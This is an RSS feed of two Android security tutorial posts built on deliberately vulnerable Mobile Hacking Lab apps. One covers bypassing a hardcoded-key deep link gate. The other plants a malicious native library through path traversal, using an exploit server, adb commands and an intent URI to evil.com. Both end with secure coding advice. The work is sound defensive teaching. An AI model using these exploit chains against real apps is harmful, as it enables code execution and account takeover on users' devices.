<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[DKatalis - Medium]]></title>
        <description><![CDATA[DKatalis is a highly adaptive tech company, driven to solve problems through tech and data. - Medium]]></description>
        <link>https://medium.com/dkatalis?source=rss----a639e354dffe---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>DKatalis - Medium</title>
            <link>https://medium.com/dkatalis?source=rss----a639e354dffe---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 13 Nov 2026 13:57:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/dkatalis" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The False Perimeter: Exploiting Hardcoded Key in Android]]></title>
            <link>https://medium.com/dkatalis/the-false-perimeter-exploiting-hardcoded-key-in-android-8f23a31c33ec?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/8f23a31c33ec</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[cyber-security-awareness]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Fri, 24 Jul 2026 01:46:01 GMT</pubDate>
            <atom:updated>2026-07-24T01:46:01.557Z</atom:updated>
            <content:encoded><![CDATA[<h4>Hiding keys in native code creates a false perimeter. Chained with deep links, they enable silent backend compromise.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VrBUw38e0ofLLZhM9MOs1Q.jpeg" /></figure><p>In the Android ecosystem, developers sometimes embed cryptographic material, such as encryption keys, initialization vectors (IVs), or encrypted constants, directly into the application to protect sensitive functionality. These values are commonly used for local integrity checks, encrypted configuration, feature gating, offline authentication, or validating parameters passed through deep links.</p><p>Some developers attempt to hide these secrets inside native libraries, assuming that compiled binaries are more difficult to reverse engineer than Java or Kotlin bytecode. Although native code increases the effort required, it does not prevent reverse engineering. Determined attackers can still recover embedded secrets through static analysis, binary disassembly, or decompilation without ever executing the application.</p><p>The fundamental problem is that any secret embedded in a mobile application should be considered recoverable. Unlike server-side secrets, client-side cryptographic material is distributed with every installation of the application. Given sufficient time and expertise, an attacker can extract these values and reproduce the same cryptographic operations performed by the app. As a result, client-side secrets should never serve as the sole trust anchor for protecting sensitive functionality.</p><h3>What is Hardcoded Key Exploitation?</h3><p>Hardcoded key exploitation occurs when an attacker extracts cryptographic material, such as encryption keys, IVs, or ciphertext, directly from an application’s decompiled source code or native binaries. Once these secrets are recovered, the attacker can reproduce the same cryptographic operations performed by the application. Any client-side trust decision that depends solely on those embedded values can therefore be forged or bypassed.</p><p>This weakness becomes especially dangerous when combined with exported Android components, deep links, or other externally accessible entry points. An attacker who recovers the embedded secret can craft authenticated intents, deep links, or specially constructed input that satisfies the application’s validation logic and invokes privileged functionality that was intended to remain inaccessible.</p><p>In a real-world digital banking application, this anti-pattern is often used to protect local workflows like offline biometric fallbacks, device activation, or internal debugging tools. To exploit these protections, an attacker first reverse-engineers the application to recover its embedded cryptographic material. Rather than interacting with the intended user interface, they use these recovered secrets to craft valid deep links, authenticated intents, or even a custom client. By communicating directly with exposed components, the attacker bypasses the client-side gate entirely — tricking the application into entering a trusted, authenticated state using requests that appear perfectly legitimate.</p><p>The danger compounds dramatically if backend services implicitly trust this client-side validation. Once inside, the attacker leverages the hijacked app state to generate valid API requests to the backend, silently registering a fraudulent device or bypassing step-up authentication. Because these backend requests originate from what appears to be a legitimate application instance and carry the correct cryptographic signatures, they completely blindside conventional fraud detection mechanisms. The end result is unauthorized transaction approval or full account takeover without a single failed login attempt.</p><p>From a fraud detection perspective, this exploit chain is a nightmare. Because these backend requests carry the correct cryptographic signatures and originate from what appears to be a legitimate app instance, traditional indicators, like repeated failed login attempts or intercepted OTPs, are never triggered. For the customer, the first visible sign of compromise is often unauthorized transactions, unexpected account changes, or financial losses with little or no prior warning.</p><p>This can significantly delay incident detection because the activity closely resembles legitimate application behavior rather than conventional account compromise attempts.</p><h3>The Unsafe Pattern</h3><p>Some Android apps implement a “secret gate” pattern where a deep link handler:</p><ol><li>Receives a base64-encoded value from the URI</li><li>Decrypts a hardcoded ciphertext using a hardcoded key/IV</li><li>Compares the two values</li><li>If matched, loads a native library and executes privileged code</li></ol><p>When the cryptographic material is embedded in the app itself, this gate provides zero security. From a security perspective, this is equivalent to protecting functionality with a password that is embedded in the application itself. Anyone who can recover the binary can recover the password.</p><h3>Sample Case</h3><p>The following example is based on a deliberately vulnerable Mobile Hacking Lab application designed for security training. Although simplified, it demonstrates a design pattern that has appeared in production Android applications. Refer to <a href="https://academy.mobilehackinglab.com/course/lab-strings"><strong>Lab Strings from Mobile Hacking Lab</strong></a>.</p><p>The app exposes Activity2 as an exported component that handles deep links:</p><pre>&lt;activity android:exported=&quot;true&quot;<br>    android:name=&quot;com.mobilehackinglab.challenge.Activity2&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:host=&quot;labs&quot; android:scheme=&quot;mhl&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><p>Any app or browser can trigger this activity with a URI matching mhl://labs/&lt;path&gt;, and the app will process the path segment as a secret token.</p><h3>The Vulnerable Gate Check</h3><p>The following code illustrates a common anti-pattern where all of the information required to validate a privileged action is embedded directly within the client.</p><pre>protected void onCreate(Bundle savedInstanceState) {<br>    // ...<br>    boolean isActionView = Intrinsics.areEqual(<br>        getIntent().getAction(), &quot;android.intent.action.VIEW&quot;);<br>    boolean isU1Matching = Intrinsics.areEqual(u_1, cd());<br><br>    if (isActionView &amp;&amp; isU1Matching) {<br>        Uri uri = getIntent().getData();<br>        if (uri != null &amp;&amp; Intrinsics.areEqual(uri.getScheme(), &quot;mhl&quot;)<br>                &amp;&amp; Intrinsics.areEqual(uri.getHost(), &quot;labs&quot;)) {<br><br>            String base64Value = uri.getLastPathSegment();<br>            byte[] decodedValue = Base64.decode(base64Value, 0);<br>            String ds = new String(decodedValue, Charsets.UTF_8);<br><br>            byte[] keyBytes = &quot;your_secret_key_1234567890123456&quot;<br>                .getBytes(Charsets.UTF_8);<br>            String str = decrypt(&quot;AES/CBC/PKCS5Padding&quot;,<br>                &quot;bqGrDKdQ8zo26HflRsGvVA==&quot;,<br>                new SecretKeySpec(keyBytes, &quot;AES&quot;));<br><br>            if (str.equals(ds)) {<br>                System.loadLibrary(&quot;flag&quot;);<br>                String s = getflag();<br>                Toast.makeText(getApplicationContext(), s, 1).show();<br>            }<br>        }<br>    }<br>}</pre><p>The gate check decrypts a hardcoded AES ciphertext and compares it against user-supplied input from the deep link. Every piece of cryptographic material needed to bypass this check is present in the source:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*sCzRUOISdCNthoNcYu3BQg.png" /></figure><h3>The Dead Code Time Gate</h3><p>An additional check compares a SharedPreferences value against today’s date. The function KLOW() in MainActivity is supposed to write this date — but it is never called anywhere in the app:</p><pre>public final void KLOW() {<br>    SharedPreferences sharedPreferences = getSharedPreferences(&quot;DAD4&quot;, 0);<br>    SharedPreferences.Editor editor = sharedPreferences.edit();<br>    SimpleDateFormat sdf = new SimpleDateFormat(&quot;dd/MM/yyyy&quot;, Locale.getDefault());<br>    String cu_d = sdf.format(new Date());<br>    editor.putString(&quot;UUU0133&quot;, cu_d);<br>    editor.apply();<br>}</pre><p>Since the app is marked android:debuggable=&quot;true&quot;, an attacker can write the SharedPreferences file directly using run-as — bypassing this dead-code gate entirely.</p><h3>The Attack Chain</h3><p>The vulnerability chains three weaknesses:</p><ol><li><strong>Hardcoded Cryptographic Material<br></strong>AES key, IV, and ciphertext are all embedded in the decompiled source, allowing offline decryption</li><li><strong>Dead Code Gate</strong> <br>The date-writing function is never called, and the debuggable flag allows direct SharedPreferences manipulation</li><li><strong>Exported Deep Link Handler</strong> <br>Activity2 is accessible to any app on the device via the mhl://labs/ scheme</li></ol><p>Combined, an attacker can decrypt the secret, craft the correct deep link, and trigger native code execution.</p><h3>Sample Attack</h3><h4>Step 1: Decrypt the Hardcoded Secret</h4><p>With all cryptographic material available from the decompiled source, decryption is trivial:</p><pre>#!/usr/bin/env python3<br>import base64<br>from Crypto.Cipher import AES<br><br>key = b&#39;your_secret_key_1234567890123456&#39;<br>iv = b&#39;1234567890123456&#39;<br>ciphertext = base64.b64decode(&#39;bqGrDKdQ8zo26HflRsGvVA==&#39;)<br><br>cipher = AES.new(key, AES.MODE_CBC, iv)<br>decrypted = cipher.decrypt(ciphertext)<br>pad_len = decrypted[-1]<br>plaintext = decrypted[:-pad_len].decode(&#39;utf-8&#39;)<br>print(f&#39;Decrypted: {plaintext}&#39;)<br><br>payload = base64.b64encode(plaintext.encode()).decode()<br>print(f&#39;Base64 payload: {payload}&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-Woa7r51bc6Q-TAHvfNxEA.png" /></figure><p>The secret is mhl_secret_1337. Base64-encoded for the deep link: bWhsX3NlY3JldF8xMzM3.</p><h4>Step 2: Bypass the Date Gate</h4><pre># Get today&#39;s date on device<br>DATE=$(adb shell date &quot;+%d/%m/%Y&quot;)<br><br># Create SharedPreferences<br>adb shell &quot;run-as com.mobilehackinglab.challenge sh -c &#39;mkdir -p /data/data/com.mobilehackinglab.challenge/shared_prefs&#39;&quot;  <br><br># Write SharedPreferences<br>adb shell &quot;run-as com.mobilehackinglab.challenge sh -c \&quot;printf &#39;&lt;?xml version=\\\&quot;1.0\\\&quot; encoding=\\\&quot;utf-8\\\&quot; standalone=\\\&quot;yes\\\&quot; ?&gt;\\n&lt;map&gt;\\n    &lt;string name=\\\&quot;UUU0133\\\&quot;&gt;$DATE&lt;/string&gt;\\n&lt;/map&gt;&#39; &gt; /data/data/com.mobilehackinglab.challenge/shared_prefs/DAD4.xml\&quot;&quot;<br><br># Verify<br>adb shell &quot;run-as com.mobilehackinglab.challenge cat /data/data/com.mobilehackinglab.challenge/shared_prefs/DAD4.xml&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BGw39irqEq105BQoe7I62A.png" /></figure><h4>Step 3: Trigger the Deep Link</h4><pre>adb shell am start -n com.mobilehackinglab.challenge/.MainActivity<br>sleep 2<br><br>adb shell am start -a android.intent.action.VIEW \<br>    -d &quot;mhl://labs/bWhsX3NlY3JldF8xMzM3&quot; \<br>    -n com.mobilehackinglab.challenge/.Activity2</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iNTBl7Xct1QzC7J3kQF4Xg.png" /></figure><p><strong>What happens internally:</strong></p><ol><li>Android routes the intent to Activity2 (matches VIEW + mhl://labs)</li><li>SharedPreferences check passes (we wrote today’s date)</li><li>uri.getLastPathSegment() returns bWhsX3NlY3JldF8xMzM3</li><li>Base64 decode produces mhl_secret_1337</li><li>AES decryption of the hardcoded ciphertext also produces mhl_secret_1337</li><li>Comparison matches → System.loadLibrary(&quot;flag&quot;) → getflag() executes</li></ol><h3>Real-World Attack Scenario</h3><p>In a real-world scenario (without ADB), an attacker would:</p><ol><li>Decompile the APK and extract the AES key/IV/ciphertext from the Java source</li><li>Decrypt offline to recover the gate secret</li><li>Craft an intent URI for browser delivery:</li></ol><pre>intent://labs/bWhsX3NlY3JldF8xMzM3#Intent;scheme=mhl;package=com.mobilehackinglab.challenge;end</pre><p>4. Embed in a webpage or message — victim clicks, Activity2 launches with the correct token</p><p>5. The date gate would need to be satisfied through a separate vector (e.g., if the app ever calls KLOW() in a future update, or through a companion vulnerability)</p><p>Because the cryptographic material is hardcoded, this vulnerability is permanent. Any user with a decompiler can bypass the gate check indefinitely, regardless of future backend key rotations, unless the application is recompiled with new values.</p><p>In a production banking app, this exact pattern is often used to gate access to offline biometric fallbacks or premium paid features. By chaining these bugs, an attacker bypasses client-side security controls and tricks the app into granting access to restricted functionality. Because the entire bypass happens on-device before interacting with the backend, the server only sees perfectly legitimate API calls. A crafted deep link distributed via phishing can trigger this privileged flow on every device where the app is installed, without user interaction beyond a single tap. The result is a mass-scalable, silent account takeover that the platform cannot detect or attribute until customers report unauthorized activity.</p><h3>Conclusion</h3><p>The purpose of cryptography is to protect data, not to establish trust in an untrusted environment. Once the cryptographic keys are distributed with the application, they should be assumed to be recoverable. Authorization decisions must therefore be enforced by a trusted backend rather than relying exclusively on client-side secrets. The root cause is a misplaced trust boundary. The application assumes that secrets distributed with the client remain confidential, even though every installation provides attackers with an opportunity to recover them through reverse engineering.</p><p>This example demonstrates how hardcoded cryptographic material provides false security. The developer implemented AES-256-CBC encryption with a proper algorithm choice, but negated all protection by embedding the key, IV, and ciphertext in the application source. The addition of a native library with XOR-based obfuscation adds complexity but not security; static analysis recovers the hidden flag without device execution.</p><p><strong>The key takeaways:</strong></p><ul><li><strong>Never Hardcode Cryptographic Keys<br></strong>Keys embedded in client-side code are extractable regardless of obfuscation. Use server-side validation, hardware-backed keystores, or remote attestation for gate checks.</li><li><strong>Obfuscation Is Not Encryption<br></strong>XOR routines in native libraries slow down attackers by minutes, not days. If the algorithm and data are both in the binary, the secret is recoverable.</li><li><strong>Dead Code Creates False Assumptions<br></strong>The unused KLOW() function suggests the developer intended a time-based gate but never connected it. Unreachable code should be removed — it creates confusion during security reviews and may mislead developers into thinking a protection is active.</li><li><strong>Debuggable Builds in Production<br></strong>The android:debuggable=&quot;true&quot; flag grants run-as access to the app&#39;s private storage. This should never ship in production — it allows trivial bypass of file-based protections.</li><li><strong>Defense in Depth for Native Secrets<br></strong>If a secret must exist client-side, combine multiple protections: anti-tampering checks, root detection, server-side validation of the result, and code integrity verification before loading native libraries.</li></ul><h4><strong>References:</strong></h4><ul><li><strong>OWASP Mobile Application Security — </strong><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-CRYPTO/MASTG-TEST-0013/"><strong>Testing Symmetric Cryptography</strong></a></li><li><strong>OWASP Mobile Application Security — </strong><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-CRYPTO/MASTG-TEST-0014/"><strong>Testing the Configuration of Cryptographic Standard Algorithms</strong></a></li><li><strong>Android Developers—</strong><a href="https://developer.android.com/privacy-and-security/risks/hardcoded-cryptographic-secrets"><strong>Hardcoded Cryptographic Secrets</strong></a></li><li><strong>Mobile Hacking Lab — </strong><a href="https://www.mobilehackinglab.com/hacking-labs.html"><strong>Mobile Hacking Lab</strong></a></li></ul><figure><a href="http://dkatalis.com/jobs"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BO-miFCBQKUbsm0Ht19r1w.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8f23a31c33ec" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/the-false-perimeter-exploiting-hardcoded-key-in-android-8f23a31c33ec">The False Perimeter: Exploiting Hardcoded Key in Android</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[It’s a Trap: Defeating Android Native Library Hijacking]]></title>
            <link>https://medium.com/dkatalis/its-a-trap-defeating-android-native-library-hijacking-ddc5b7c5dbef?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/ddc5b7c5dbef</guid>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 06:09:39 GMT</pubDate>
            <atom:updated>2026-06-29T06:09:38.049Z</atom:updated>
            <content:encoded><![CDATA[<h4>A breakdown of how unsanitized URI parsing enables high-privilege remote code execution.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CnjhaqFPKrSYltpvcB9epw.png" /></figure><p>In the Android ecosystem, some apps load native libraries (.so files) dynamically at runtime to enable additional features such as premium functionality, plugin systems, or performance-critical modules. While this pattern is common and legitimate, it introduces a serious attack surface when the library is loaded from a writable, predictable path without integrity verification.</p><h3>What is Native Library Hijacking?</h3><p>Native library hijacking occurs when an attacker replaces or plants a malicious shared object (.so) file in a location where an app expects to load a legitimate library. When the app calls System.load() on the tampered file, the attacker&#39;s code executes with the app&#39;s full privileges, achieving Remote Code Execution (RCE).</p><p>This becomes especially dangerous when combined with other vulnerabilities, such as path traversal in file download handlers. An attacker who can write arbitrary files to the app’s internal storage can plant a malicious library that will be loaded on the next app launch without any user interaction beyond clicking a link.</p><h3>The Unsafe Loading Pattern</h3><p>Some Android apps implement a “pro features” pattern where additional functionality is loaded at runtime from a native library stored in the app’s internal directory. If this library path is predictable and writable, and the app does not verify the file’s integrity before loading, it becomes a prime target for hijacking.</p><h3>Sample Case</h3><p>The app’s MainActivity is exported and handles VIEW intents for PDF files via deep links:</p><pre>&lt;activity android:exported=&quot;true&quot;<br>    android:name=&quot;com.mobilehackinglab.documentviewer.MainActivity&quot;&gt;<br>    &lt;intent-filter&gt;<br>        &lt;action android:name=&quot;android.intent.action.VIEW&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.DEFAULT&quot;/&gt;<br>        &lt;category android:name=&quot;android.intent.category.BROWSABLE&quot;/&gt;<br>        &lt;data android:scheme=&quot;file&quot;/&gt;<br>        &lt;data android:scheme=&quot;http&quot;/&gt;<br>        &lt;data android:scheme=&quot;https&quot;/&gt;<br>        &lt;data android:mimeType=&quot;application/pdf&quot;/&gt;<br>    &lt;/intent-filter&gt;<br>&lt;/activity&gt;</pre><p>Any app or browser can trigger this activity with a crafted URI, and the app will attempt to download and save the file.</p><h4>The Vulnerable Native Library Load</h4><pre>private final void loadProLibrary() {<br>    String abi = Build.SUPPORTED_ABIS[0];<br>    File libraryFolder = new File(getApplicationContext().getFilesDir(),<br>        &quot;native-libraries/&quot; + abi);<br>    File libraryFile = new File(libraryFolder, &quot;libdocviewer_pro.so&quot;);<br>    System.load(libraryFile.getAbsolutePath());<br>    this.proFeaturesEnabled = true;<br>}</pre><p>The app loads a native library from a predictable, writable path: &lt;filesDir&gt;/native-libraries/&lt;abi&gt;/libdocviewer_pro.so. There is no signature check, no hash verification; whatever file exists at that path will be loaded and executed. This is the hijack target.</p><h4>The Path Traversal Enabler</h4><pre>public final MutableLiveData&lt;Uri&gt; copyFileFromUri(Uri uri) {<br>    URL url = new URL(uri.toString());<br>    String lastPathSegment = uri.getLastPathSegment();<br>    if (lastPathSegment == null) {<br>        lastPathSegment = &quot;download.pdf&quot;;<br>    }<br>    File outFile = new File(DOWNLOADS_DIRECTORY, lastPathSegment);<br>    // ... downloads url contents to outFile<br>}</pre><p>The copyFileFromUri method uses Uri.getLastPathSegment() directly as the output filename. This is dangerous because getLastPathSegment() decodes percent-encoding, meaning %2F becomes /, enabling path traversal out of the Downloads directory and into the app&#39;s internal storage where the native library resides.</p><h3>The Attack Chain</h3><p>The vulnerability chains two weaknesses:</p><ol><li><strong>Path Traversal</strong> — Uri.getLastPathSegment() decodes %2F to /, allowing directory traversal from the Downloads folder into the app&#39;s internal storage</li><li><strong>Unsafe Native Library Loading</strong> — System.load() loads from a predictable writable path without integrity verification</li></ol><p>Combined, an attacker can plant a malicious native library via a crafted deep link, achieving Remote Code Execution on the next app launch.</p><h3>Sample Attack</h3><h4>Step 1: Create the Malicious Library</h4><pre>#include &lt;jni.h&gt;<br>#include &lt;stdio.h&gt;<br>#include &lt;unistd.h&gt;<br>#include &lt;android/log.h&gt;<br><br>#define TAG &quot;PWNED&quot;<br><br>JNIEXPORT jint JNI_OnLoad(JavaVM *vm, void *reserved) {<br>    __android_log_print(ANDROID_LOG_ERROR, TAG,<br>        &quot;=== RCE ACHIEVED - libdocviewer_pro.so loaded ===&quot;);<br>    __android_log_print(ANDROID_LOG_ERROR, TAG,<br>        &quot;UID: %d, PID: %d&quot;, getuid(), getpid());<br><br>    FILE *f = fopen(&quot;/data/data/com.mobilehackinglab.documentviewer&quot;<br>                    &quot;/files/pwned.txt&quot;, &quot;w&quot;);<br>    if (f) {<br>        fprintf(f, &quot;RCE achieved via path traversal\n&quot;);<br>        fprintf(f, &quot;UID: %d, PID: %d\n&quot;, getuid(), getpid());<br>        fclose(f);<br>    }<br>    return JNI_VERSION_1_6;<br>}</pre><p>The purpose of the code above is to create a native library that generates a /files/pwned.txt file in the /data/data/com.mobilehackinglab.documentviewer directory.</p><p><strong>Compile for arm64-v8a</strong>:</p><pre>$NDK/aarch64-linux-android33-clang -shared -o libdocviewer_pro.so pwned.c -llog</pre><h4>Step 2: Start the Exploit Server</h4><p>A custom server is needed because standard HTTP servers decode %2F in the URL path and return 404. This server ignores the requested path and always serves the payload:</p><pre>#!/usr/bin/env python3<br>import http.server, os<br><br>SO_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)),<br>                       &quot;libdocviewer_pro.so&quot;)<br><br>class ExploitHandler(http.server.BaseHTTPRequestHandler):<br>    def do_GET(self):<br>        with open(SO_FILE, &quot;rb&quot;) as f:<br>            payload = f.read()<br>        self.send_response(200)<br>        self.send_header(&quot;Content-Type&quot;, &quot;application/pdf&quot;)<br>        self.send_header(&quot;Content-Length&quot;, str(len(payload)))<br>        self.end_headers()<br>        self.wfile.write(payload)<br><br>if __name__ == &quot;__main__&quot;:<br>    server = http.server.HTTPServer((&quot;0.0.0.0&quot;, 8888), ExploitHandler)<br>    print(f&quot;Exploit server on :8888&quot;)<br>    server.serve_forever()</pre><h4>Step 3: Trigger the Deep Link</h4><pre>HOST_IP=&quot;192.168.1.5&quot;<br><br>adb shell am start -a android.intent.action.VIEW \<br>  -t &quot;application/pdf&quot; \<br>  -d &quot;http://${HOST_IP}:8888/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so&quot; \<br>  com.mobilehackinglab.documentviewer</pre><p><strong>What happens internally:</strong></p><ol><li>Android routes the intent to MainActivity (matches VIEW + application/pdf)</li><li>handleIntent() passes the URI to CopyUtil.copyFileFromUri()</li><li>uri.getLastPathSegment() decodes the percent-encoded path → ../../../../data/data/com.mobilehackinglab.documentviewer/files/native-libraries/arm64-v8a/libdocviewer_pro.so</li><li>new File(&quot;/storage/emulated/0/Download&quot;, decodedSegment) resolves ../ at the OS level, traversing into the app&#39;s internal storage</li><li>The coroutine downloads from our server and writes the malicious .so to the target path</li></ol><h4>Step 4: Trigger Code Execution</h4><p>Force-stop the app and relaunch it. The planted library will be loaded by System.load():</p><pre>adb shell am force-stop com.mobilehackinglab.documentviewer<br>adb logcat -c<br>adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity<br>sleep 3<br>adb logcat -d | grep &quot;PWNED&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F0JH4hq-NsZ9uy5SOxislA.png" /></figure><h4>Step 5: Verify Proof of Exploitation</h4><p>Open the /files/pwned.txt file that was created by the native library earlier.</p><pre>adb shell &quot;run-as com.mobilehackinglab.documentviewer \<br>  cat /data/data/com.mobilehackinglab.documentviewer/files/pwned.txt&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d9debOizfDILjkUZhayF9A.png" /></figure><h3>Real-World Attack Scenario</h3><p>In a real-world scenario (without ADB), an attacker would:</p><ol><li>Host the malicious .so on a public server with the custom handler</li><li>Craft an intent URI and embed it in a webpage or phishing message:</li></ol><pre>intent://evil.com/..%2F..%2F..%2F..%2Fdata%2Fdata%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Farm64-v8a%2Flibdocviewer_pro.so#Intent;scheme=https;type=application/pdf;package=com.mobilehackinglab.documentviewer;end</pre><p>3. Victim clicks the link in their browser, the app opens, and downloads the .so</p><p>4. Next time the victim opens Document Viewer normally, the attacker&#39;s code executes</p><p>No root, Frida, or physical access required. A single click plants the payload; a normal app launch triggers it.</p><h3>Secure Patterns</h3><p>The following code examples demonstrate how to prevent each component of this attack chain.</p><h4>Safe Filename Extraction</h4><p>Never use Uri.getLastPathSegment() directly as a filename. Strip directory separators and reject traversal sequences:</p><pre>private String sanitizeFilename(Uri uri) {<br>    String segment = uri.getLastPathSegment();<br>    if (segment == null) return &quot;download.pdf&quot;;<br><br>    // Strip any path separators (both encoded and decoded)<br>    String filename = segment.replace(&quot;/&quot;, &quot;&quot;)<br>                             .replace(&quot;\\&quot;, &quot;&quot;)<br>                             .replace(&quot;..&quot;, &quot;&quot;);<br><br>    // Additional safety: take only the last component<br>    int lastSep = filename.lastIndexOf(File.separatorChar);<br>    if (lastSep &gt;= 0) {<br>        filename = filename.substring(lastSep + 1);<br>    }<br><br>    return filename.isEmpty() ? &quot;download.pdf&quot; : filename;<br>}</pre><h4>Canonical Path Validation</h4><p>Before writing any file, verify the resolved path stays within the intended directory:</p><pre>private File safeResolve(File baseDir, String filename) throws IOException {<br>    File target = new File(baseDir, filename);<br>    String canonicalBase = baseDir.getCanonicalPath();<br>    String canonicalTarget = target.getCanonicalPath();<br><br>    if (!canonicalTarget.startsWith(canonicalBase + File.separator)) {<br>        throw new SecurityException(<br>            &quot;Path traversal detected: &quot; + filename);<br>    }<br>    return target;<br>}</pre><h4>Integrity Verification Before Loading</h4><p>If native libraries must be loaded from writable storage, verify their integrity first:</p><pre>private void loadVerifiedLibrary(File libraryFile, String expectedSha256) {<br>    if (!libraryFile.exists()) {<br>        Log.w(TAG, &quot;Pro library not found, skipping&quot;);<br>        return;<br>    }<br><br>    String actualHash = sha256(libraryFile);<br>    if (!actualHash.equals(expectedSha256)) {<br>        libraryFile.delete();<br>        throw new SecurityException(<br>            &quot;Library integrity check failed — file deleted&quot;);<br>    }<br><br>    System.load(libraryFile.getAbsolutePath());<br>}<br><br>private String sha256(File file) {<br>    try (InputStream is = new FileInputStream(file)) {<br>        MessageDigest digest = MessageDigest.getInstance(&quot;SHA-256&quot;);<br>        byte[] buffer = new byte[8192];<br>        int read;<br>        while ((read = is.read(buffer)) != -1) {<br>            digest.update(buffer, 0, read);<br>        }<br>        byte[] hash = digest.digest();<br>        StringBuilder hex = new StringBuilder();<br>        for (byte b : hash) {<br>            hex.append(String.format(&quot;%02x&quot;, b));<br>        }<br>        return hex.toString();<br>    } catch (Exception e) {<br>        return &quot;&quot;;<br>    }<br>}</pre><h4>Preferred: Ship Libraries in the APK</h4><p>The safest approach is to avoid writable paths entirely. Native libraries shipped in the APK’s lib/ directory are protected by the package manager and verified at install time:</p><pre>// Safe: loaded from APK&#39;s lib/ directory, not writable by the app<br>static {<br>    System.loadLibrary(&quot;docviewer_pro&quot;);<br>}</pre><h3>Conclusion</h3><p>This example demonstrates how combining two seemingly low-severity issues, an unsanitized filename from a deep link handler and a predictable native library load path, results in a critical Remote Code Execution vulnerability. Developers should sanitize all URI-derived filenames, validate canonical paths before writing, verify integrity before loading native code, and prefer shipping libraries within the APK itself.</p><h4><strong>References</strong>:</h4><ul><li><a href="https://academy.mobilehackinglab.com/course/lab-document-viewer-rce"><strong>Mobile Hacking Lab — Document Viewer</strong></a></li><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0028/"><strong>OWASP Mobile Application Security — Testing Deep Links</strong></a></li><li><a href="https://developer.android.com/privacy-and-security/risks/path-traversal"><strong>Android Path Traversal</strong></a></li><li><a href="https://www.mobilehackinglab.com/hacking-labs.html"><strong>Mobile Hacking Lab – Hacking Labs</strong></a></li></ul><figure><a href="http://dkatalis.com/jobs"><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BO-miFCBQKUbsm0Ht19r1w.png" /></a></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ddc5b7c5dbef" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/its-a-trap-defeating-android-native-library-hijacking-ddc5b7c5dbef">It’s a Trap: Defeating Android Native Library Hijacking</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privacy-Preserving AI: My Journey to a Self-Hosted RAG Pipeline]]></title>
            <link>https://medium.com/dkatalis/privacy-preserving-ai-my-journey-to-a-self-hosted-rag-pipeline-085a1e1f5d7a?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/085a1e1f5d7a</guid>
            <category><![CDATA[large-language-models]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[retrieval-augmented-gen]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Tue, 14 Apr 2026 04:31:02 GMT</pubDate>
            <atom:updated>2026-04-14T04:31:01.955Z</atom:updated>
